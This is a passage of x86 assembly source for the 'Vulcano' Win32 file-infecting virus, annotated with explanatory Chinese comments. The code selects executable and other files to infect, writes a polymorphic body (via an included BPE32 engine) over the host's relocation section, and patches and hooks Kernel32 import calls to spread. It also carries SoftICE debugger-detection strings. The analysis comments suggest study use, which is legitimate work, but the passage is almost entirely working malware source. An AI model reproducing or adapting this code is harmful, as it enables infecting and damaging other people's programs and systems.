test edx, edx
jne c_patch
popad
jmp end_patch ;quit if end of record
;; 开始设置模糊入口点EPO
;; 因为Vulcano是写在重定位节上面,所以这里将重定位节的RVA
;; 设置到一个要进行HOOK的函数上,这些函数存放在表crcpAPIs
;; 中都是些应用程序经常使用的API.
c_patch:push dword ptr [edi.SH_VirtualAddress] ;patch address
push edx ;CRC32
mov [ebp + r2rp - mgdelta], eax ;infection stage
call PatchIT ;try to patch API call
mov [esp.Pushad_edx], eax ;save address
test eax, eax
;; 只要有一个函数被补丁成功则跳出
popad ;此时edx为被补丁函数的地址
jne end_patch ;quit if we got address
inc ecx
jmp it_patch ;API call not found, try another API
;; 完成了对重定位表的补丁,写入病毒到宿主
end_patch:
;; eax新的函数的地址
mov eax, edx
mov edx, [esi.NT_OptionalHeader.OH_ImageBase-4] ;get Image base
;; 再这里将被感染程序的ImageBase写入到初始化标签
mov [ebp + compressed + (ImgBase-decompressed) - mgdelta], edx ;save it
lea edx, [ebp + compressed + (ddAPI-decompressed) - mgdelta]
push dword ptr [edx] ;store prev. API call
mov [edx], eax ;save new one
pushad ;store all registers
lea esi, [ebp + compressed+(VulcanoInit-decompressed) - mgdelta]
mov edi, [edi.SH_PointerToRawData]
;; 这里把原先宿主程序的重定位节进行覆盖,病毒替换了原先的重定位节
add edi, ebx ;where to write body
;; 这里是要变形的长度
mov ecx, (decompressed-VulcanoInit+3)/4 ;size of virus body
call BPE32 ;write morphed body to file!
;; eax中为变形后的长度
mov [esp.Pushad_eax], eax ;save size
popad
pop dword ptr [edx] ;restore API call
;; 修改节属性为可读可写可执行
or dword ptr [edi.SH_Characteristics], IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
;set flags
;; 修改大小
lea ecx, [edi.SH_VirtualSize] ;get virtual size
add [ecx], eax ;correct it
mov ecx, [esi.NT_OptionalHeader.OH_FileAlignment-4]
xor edx, edx
div ecx
inc eax
mul ecx
mov edx, [edi.SH_SizeOfRawData]
mov [edi.SH_SizeOfRawData], eax ;align SizeOfRawData
;; 此节是初始化数据,如果是则重新设置
test dword ptr [edi.SH_Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATA
je rs_ok
sub eax, edx
add [esi.NT_OptionalHeader.OH_SizeOfInitializedData-4], eax
;update next field, if needed
rs_ok: mov eax, [edi.SH_VirtualAddress]
add eax, [edi.SH_VirtualSize]
xor edx, edx
mov ecx, [esi.NT_OptionalHeader.OH_SectionAlignment-4]
div ecx
inc eax
mul ecx
;; 设置SizeOfImage
mov [esi.NT_OptionalHeader.OH_SizeOfImage-4], eax ;new SizeOfImage
jmp endMapFile ;everything is ok, we can quit
;; 此函数用于检测当前目标文件的大小,后缀名等是否符合感染条件
CheckFile:
pushad
mov ebx, esi
test [ebx.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
jne c_error ;discard directory entries
xor ecx, ecx
cmp [ebx.WFD_nFileSizeHigh], ecx ;discard files >4GB
jne c_error
mov edi, [ebx.WFD_nFileSizeLow]
cmp edi, 4000h ;discard small files
jb c_error
lea esi, [ebx.WFD_szFileName] ;get filename
push esi
endf: lodsb
cmp al, '.' ;search for dot
jne endf
dec esi
lodsd ;get filename extension
or eax, 20202020h ;make it lowercase
not eax ;mask it
pop esi
cmp eax, not 'exe.' ;is it EXE?
je extOK
cmp eax, not 'rcs.' ;is it SCR?
je extOK
cmp eax, not 'xfs.' ;is it SFX?
je extOK
cmp eax, not 'lpc.' ;is it CPL?
je extOK
cmp eax, not 'tad.' ;is it DAT?
je extOK
cmp eax, not 'kab.' ;is it BAK?
je extOK
xor ecx, ecx
inc ecx
c_error:mov [esp.Pushad_ecx], ecx ;save result
popad
ret
;; 如果是可以感染的文件则设置它的文件属性为normal file
extOK: push FILE_ATTRIBUTE_NORMAL ;normal file
push esi ;filename
mov eax, 0
ddSetFileAttributesA = dword ptr $-4
call eax ;blank file attributes
xchg eax, ecx
jmp c_error
;; 设置VLCB信号
;; 输入:ECX:0则为设置数据并且等待,反之则为等待获取请求
;; ESI:指向数据缓冲,如果ECX不等于0
;; EBX:请求的ID号
;; EDX:如果是随机线程则为-1,其余的则为线程号
;; 输出:ECX:如果是输出入则ECX不等于,否则则为请求ID号
;; 如果出错为-1
;; EDX:如果ECX!=0,否则为线程号
;; ESI:指向要设置的数据,如果输入ECX=0
get_set_VLCB: ;get/set VLCB records procedure (IPC)
;input: ECX - 0=set/wait else wait/get
; ESI - pointer to data, if ECX!=0
; EBX - ID number of request
; EDX - -1, if random thread, otherwise
; - number of thread.
;output:ECX - if input ECX!=0, ECX=ID
; - if error, ECX=-1
; EDX - if ECX!=0, number of thread
; ESI - ptr to data, if input ECX=0
mov edi, 0
vlcbBase = dword ptr $-4
inc edx
je t_rnd ;get random record
dec edx
imul eax, edx, VLCB_TSize-8
add edi, eax
jecxz sw_VLCB
cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0
je qq
call w_wait ;wait for free mutex
pushad
xchg esi, edi
lea esi, [esi.VLCB_TSep.VLCB_TData]
mov ecx, (VLCB_TSize-8)/4
rep movsd ;copy data
popad
mov ecx, [edi.VLCB_TSep.VLCB_TID] ;get ID
push ecx
call r_mutex ;release mutex
pop ecx
ret ;and quit
t_next: add edi, VLCB_TSize-8 ;move to next record
inc edx
loop tsrch
qqq: pop ecx
qq: xor ecx, ecx
dec ecx
ret
t_rnd: push ecx ;pass thru 20 records
push 20
pop ecx
xor edx, edx
tsrch: cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0
je t_next ;check if its free
pop ecx
sw_VLCB:call w_wait ;wait for free mutex
pushad
lea edi, [edi.VLCB_TSep.VLCB_TData]
mov ecx, (VLCB_TSize-8)/4
rep movsd ;copy data
popad
mov [edi.VLCB_TSep.VLCB_TID], ebx
pushad
lea esi, [edi.VLCB_TSep.VLCB_TData.WFD_szAlternateFileName]
mov ebp, [esi] ;get result
call r_mutex ;signalize mutex
slp: call sleep ;switch to next thread
cmp [esi], ebp ;check for change
je slp ;no change, wait
popad
xor ecx, ecx
ret ;quit
w_wait: call open_mutex ;open mutex
push eax
push 10000 ;wait 10 seconds
push eax
mov eax, 0
ddWaitForSingleObject = dword ptr $-4
call eax
test eax, eax
pop eax
jne qqq ;quit if not signalized
call close_mutex ;close mutex
ret ;and quit
open_mutex:
lea eax, [edi.VLCB_TSep.VLCB_THandle] ;name of mutex
push eax
push 0
push 0f0000h or 100000h or 1 ;access flags
mov eax, 0
ddOpenMutexA = dword ptr $-4 ;open mutex
call eax
ret
r_mutex:call open_mutex ;open mutex
push eax
push eax
mov eax, 0
ddReleaseMutex = dword ptr $-4
call eax ;singalize mutex
pop eax
close_mutex:
push eax
mov eax, 0
ddCloseHandle = dword ptr $-4
call eax ;close mutex
ret
sleep: push 0 ;switch to next thread
mov eax, 0
ddSleep = dword ptr $-4
call eax ;switch!
ret
;; 检查并且感染
Check&Infect:
pushad
mov esi, ebx ;get ptr to data
pushad
call vlcb_stuph ;common stuph
mov ebx, VLCB_Check ;check only
call get_set_VLCB ;IPC!
inc ecx
popad
je _ret_ ;quit if error
mov eax, dword ptr [esi.WFD_szAlternateFileName]
dec eax
test eax, eax
je _ret_
sc1_ok: call vlcb_stuph ;common stuph
mov ebx, VLCB_Infect ;check and infect
call get_set_VLCB ;IPC!
_ret_: popad
ret
;; 计算CRC32值
;; CRC32的算法在这里就不做分析了
CRC32: push ecx ;procedure to calculate CRC32
push edx
push ebx
xor ecx, ecx
dec ecx
mov edx, ecx
NextByteCRC:
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
NextBitCRC:
shr bx, 1
rcr ax, 1
jnc NoCRC
xor ax, 08320h
xor bx, 0edb8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx, eax
xor edx, ebx
dec edi
jne NextByteCRC
not edx
not ecx
pop ebx
mov eax, edx
rol eax, 16
mov ax, cx
pop edx
pop ecx
ret
;; 搜索引出表
SearchET: ;procedure for recieving API names from Export table
pushad ;save all registers
@SEH_SetupFrame <jmp address_not_found> ;setup SEH frame
mov edi, [eax.MZ_lfanew] ;get ptr to PE header
add edi, eax ;make pointer raw
mov ecx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
jecxz address_not_found ;quit, if no exports
mov ebx, eax
add ebx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
mov edx, eax ;get RVA to Export table
add edx, [ebx.ED_AddressOfNames] ;offset to names
mov ecx, [ebx.ED_NumberOfNames] ;number of name
mov edi, esi
push edi
xchg eax, ebp
xor eax, eax
APIname:push eax
mov esi, ebp
add esi, [edx+eax*4] ;get to API name
push esi
@endsz ;get to the end of API name
sub esi, [esp] ;get size of API name
mov edi, esi ;to EDI
pop esi ;restore ptr to API name
call CRC32 ;get its CRC32
mov edi, [esp+4] ;get requested CRC32
cmp eax, [edi] ;is it same
pop eax
je mcrc ;yeah
nchar: inc eax ;no, increment counter
loop APIname ;and get next API name
pop eax ;clean stack
address_not_found:
xor eax, eax ;and quit
jmp endGPA
mcrc: pop edx
mov edx, ebp
add edx, [ebx.ED_AddressOfOrdinals] ;skip over ordinals
movzx eax, word ptr [edx+eax*2]
cmp eax, [ebx.ED_NumberOfFunctions]
jae address_not_found
mov edx, ebp
add edx, [ebx.ED_AddressOfFunctions] ;get start of function addresses
add ebp, [edx+eax*4] ;make it pointer to our API
xchg eax, ebp ;address to EAX
endGPA: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax], eax ;store address
popad ;restore all registers
ret ;and quit
;; 计算对齐
a_go: inc esi ;jump over alignments
inc esi
pushad ;store all registers
xor edx, edx ;zero EDX
xchg eax, esi
push 2
pop ecx
div ecx
test edx, edx
je end_align ;no alignments needed
inc eax ;align API name
end_align:
mul ecx
mov [esp.Pushad_esi], eax
popad ;restore all registers
ret
;; 对指定的函数进行引入表的HOOK
PatchIT Proc ;procedure for patching API calls
pushad ;store all registers
@SEH_SetupFrame <jmp endPIT> ;setup SEH frame
call itDlta
itDelta:db 0b8h
itDlta: pop ebp
mov [ebp + gmh - itDelta], eax ;save it
mov ebx, [eax.MZ_lfanew] ;get to PE header
add ebx, eax ;make pointer raw
push dword ptr [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
call rva2raw
pop edx
sub edx, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
push edi
n_dll: pop edi
add edx, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
lea edi, [ebp + szK32 - itDelta] ;get Kernel32 name
mov esi, [edx]
test esi, esi
je endPIT
sdll: push dword ptr [edx.ID_Name]
call rva2raw
pop esi
push edi
cmpsd ;is it K32?
jne n_dll
cmpsd
jne n_dll
cmpsd
jne n_dll
pop edi
xor ecx, ecx ;zero counter
push dword ptr [edx.ID_OriginalFirstThunk] ;get first record
call rva2raw
pop esi
push dword ptr [esi] ;get first API name
call rva2raw
pop esi
pit_align:
call a_go
push esi ;store pointer
@endsz ;get to the end of API name
mov edi, esi
sub edi, [esp] ;move size of API name to EDI
pop esi ;restore pointer
push eax ;store EAX
call CRC32 ;calculate CRC32 of API name
cmp eax, [esp.cPushad+10h] ;check, if it is requested API
je a_ok ;yeah, it is
inc ecx
mov eax, [esi] ;check, if there is next API
test eax, eax ;...
pop eax ;restore EAX
jne pit_align ;yeah, check it
jmp endPIT ;no, quit
a_ok: pop eax ;restore EAX
push dword ptr [edx.ID_FirstThunk] ;get address to IAT
call rva2raw
pop edx
mov eax, [edx+ecx*4] ;get address
mov [esp.Pushad_eax+8], eax ;and save it to stack
pushad ;store all registers
mov eax, 0 ;get base address of program
gmh = dword ptr $-4
mov ebx, [eax.MZ_lfanew]
add ebx, eax ;get PE header
push dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode] ;get base of code
call rva2raw ;normalize
pop esi ;to ESI
mov ecx, [ebx.NT_OptionalHeader.OH_SizeOfCode] ;and its size
pushad
call p_var
dd ?
p_var: push PAGE_EXECUTE_READWRITE
push ecx
push esi
mov eax, 0
ddVirtualProtect = dword ptr $-4
call eax ;set writable right
test eax, eax
popad
je endPIT
sJMP: mov dl, [esi] ;get byte from code
inc esi
cmp dl, 0ffh ;is it JMP/CALL?
jne lJMP ;check, if it is
cmp byte ptr [esi], 25h ;JMP DWORD PTR [XXXXXXXXh]
je gIT1
cmp byte ptr [esi], 15h ;or CALL DWORD PTR [XXXXXXXXh]
jne lJMP
mov dl, 0e8h
jmp gIT2
gIT1: mov dl, 0e9h
gIT2: mov [ebp + j_or_c - itDelta], dl ;change opcode
mov edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
add edi, [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_Size]
push ecx
mov ecx, [ebx.NT_OptionalHeader.OH_ImageBase]
add edi, ecx
push ebp
mov ebp, [esi+1]
sub ebp, ecx
push ebp
call rva2raw
pop ebp
sub ebp, eax
add ebp, ecx
sub edi, ebp
pop ebp
pop ecx
js lJMP ;check, if it is correct address
push ecx
push edx ;store EDX
mov edx, [esp.Pushad_ecx+8] ;get counter
imul edx, 4 ;multiply it by 4
add edx, [esp.Pushad_edx+8] ;add address to IAT to ptr
sub edx, eax
mov ecx, [esi+1]
sub ecx, [ebx.NT_OptionalHeader.OH_ImageBase]
push ecx
call rva2raw
pop ecx
sub ecx, eax
cmp edx, ecx ;is it current address
pop edx
pop ecx ;restore EDX
jne sJMP ;no, get next address
mov eax, [esi+1]
mov [esp.cPushad.Pushad_eax+8], eax ;store register to stack
mov [esp.Pushad_esi], esi ;for l8r use
popad ;restore all registers
mov byte ptr [esi-1], 0e9h ;build JMP or CALL
j_or_c = byte ptr $-1
mov ebx, [esi+1]
mov eax, [esp.cPushad+10h] ;get address
add eax, [ebp + gmh - itDelta]
sub eax, esi ;- current address
sub eax, 4 ;+1-5
mov [esi], eax ;store built jmp instruction
mov byte ptr [esi+4], 90h
xchg eax, ebx
jmp endIT ;and quit
lJMP: dec ecx
jecxz endPIT-1
jmp sJMP ;search in a loop
popad ;restore all registers
endPIT: xor eax, eax
mov [esp.Pushad_eax+8], eax
endIT: @SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
ret 8 ;and quit
PatchIT EndP
;; 将内存偏移转换为文件偏移
rva2raw:pushad ;procedure for converting RVAs to RAW pointers
mov ecx, 0 ;0 if actual program
r2rp = dword ptr $-4
jecxz nr2r
mov edx, [esp.cPushad+4] ;no comments needed :)
movzx ecx, word ptr [ebx.NT_FileHeader.FH_NumberOfSections]
movzx esi, word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader]
lea esi, [esi+ebx+IMAGE_SIZEOF_FILE_HEADER+4]
n_r2r: mov edi, [esi.SH_VirtualAddress]
add edi, [esi.SH_VirtualSize]
cmp edx, edi
jb c_r2r
add esi, IMAGE_SIZEOF_SECTION_HEADER
loop n_r2r
popad
ret
nr2r: add [esp.cPushad+4], eax
popad
ret
c_r2r: add eax, [esi.SH_PointerToRawData]
add eax, edx
sub eax, [esi.SH_VirtualAddress]
mov [esp.cPushad+4], eax
popad
ret
;; 这条线程为了HOOK当前程序引入表
NewThread: ;thread starts here
pushad ;store all registers
;; 发生异常则跳入到q_hook标签
@SEH_SetupFrame <jmp q_hook>
;; 获取API偏移地址表的地址
mov ebp, [esp+2ch] ;get delta parameter
xor ecx, ecx ;zero ECX
;; 将要转换的偏移亲0,这是一个自修改代码,再后面的地址转换
;; 函数中可以看到它要修改的地方
and dword ptr [ebp + r2rp - gdelta], 0
;; eax中保存着新函数地址的偏移表
g_hook: mov eax, [ebp + newHookers + ecx*4 - gdelta] ;take address to hooker
test eax, eax ;is it 0?
;; 如果为0则退出
je q_hook ;yeah, quit
;; eax中为新的函数的地址
add eax, ebp
;; eax中为此到当前宿主应用程序ImageBase的偏移,GMHA处存放着应用程序的加载地址
sub eax, [ebp + GMHA - gdelta]
;; 将新函数偏移将要HOOK的API名字表地址一同压力堆栈
push eax ;store address
push dword ptr [ebp + crchAPIs + ecx*4 - gdelta] ;store CRC32
;; HOOK引入表eax中将返回原始API的地址
mov eax, 0
GMHA = dword ptr $-4
call PatchIT ;and patch Import Table
mov esi, [ebp + oldHookers + ecx*4 - gdelta]
add esi, ebp
mov [esi], eax ;save old hooker
inc ecx ;increment counter
jmp g_hook ;loop
q_hook: @SEH_RemoveFrame
popad ;restore all registers
ret ;and terminate thread
;; BPE32变形引擎
include BPE32.asm
szK32 db 'KERNEL32.dll',0 ;name of DLL
sice95 db '\\.\SICE',0 ;SoftICE/95/98
siceNT db '\\.\NTICE',0 ;SoftICE/NT
;APIs needed at run-time
crcAPIs dd 0AE17EBEFh ;FindFirstFileA
dd 0AA700106h ;FindNextFileA
dd 0C200BE21h ;FindClose
dd 03C19E536h ;SetFileAttributesA
dd 04B2A3E7Dh ;SetFileTime
dd 08C892DDFh ;CreateFileA
dd 096B2D96Ch ;CreateFileMappingA
dd 0797B49ECh ;MapViewOfFile
dd 094524B42h ;UnmapViewOfFile
dd 019F33607h ;CreateThread
dd 0D4540229h ;WaitForSingleObject
dd 068624A9Dh ;CloseHandle
dd 020B943E7h ;CreateMutexA
dd 0C449CF4Eh ;ReleaseMutex
dd 0C6F22166h ;OpenMutexA
dd 00AC136BAh ;Sleep
dd 079C3D4BBh ;VirtualProtect
dd 0EB1CE85Ch ;GetCurrentProcessId
dd 033D350C4h ;OpenProcess
dd 041A050AFh ;TerminateProcess
dd 04134D1ADh ;LoadLibraryA
dd 0FFC97C1Fh ;GetProcAddress
dd 0AFDF191Fh ;FreeLibrary
;APIs to hook
crchAPIs dd 0AE17EBEFh ;FindFirstFileA
dd 0AA700106h ;FindNextFileA
dd 05BD05DB1h ;CopyFileA
dd 0953F2B64h ;CopyFileExA
dd 08C892DDFh ;CreateFileA
dd 0267E0B05h ;CreateProcessA
dd 0DE256FDEh ;DeleteFileA
dd 0C633D3DEh ;GetFileAttributesA
dd 08F48B20Dh ;GetFullPathNameA
dd 0F2F886E3h ;_lopen
dd 02308923Fh ;MoveFileA
dd 03BE43958h ;MoveFileExA
dd 068D8FC46h ;OpenFile
dd 03C19E536h ;SetFileAttributesA
dd 028452C4Fh ;WinExec
dd 040F57181h ;ExitProcess
dd 0058F9201h ;ExitThread
dd 087D52C94h ;GetLastError
dd 068624A9Dh ;CloseHandle
;APIs to patch
crcpAPIs dd 0E141042Ah ;GetProcessHeap
dd 042F13D06h ;GetVersion
dd 0DE5C074Ch ;GetVersionEx
dd 052CA6A8Dh ;GetStartupInfoA
dd 04E52DF5Ah ;GetStartupInfoW
dd 03921BF03h ;GetCommandLineA
dd 025B90AD4h ;GetCommandLineW
dd 003690E66h ;GetCurrentProcess
dd 019F33607h ;CreateThread
dd 082B618D4h ;GetModuleHandleA
dd 09E2EAD03h ;GetModuleHandleW
dd ?
virus_end: ;end of virus in host
tmp dd ? ;temporary variable
org tmp ;overlay
WFD WIN32_FIND_DATA ? ;Win32 Find Data
WFD2 WIN32_FIND_DATA ? ;Win32 Find Data
data_buffer db 256 dup (?) ;buffer for VLCB_TData
size_unint = $ - virus_end ;size of unitialized
;variables
;used only by first generation of virus
workspace1 db 16 dup (?) ;usd by compression
workspace2 db 16 dup (?) ;engine
_GetModuleHandleA dd offset GetModuleHandleA
ends ;end of code section
End first_gen ;end of virus
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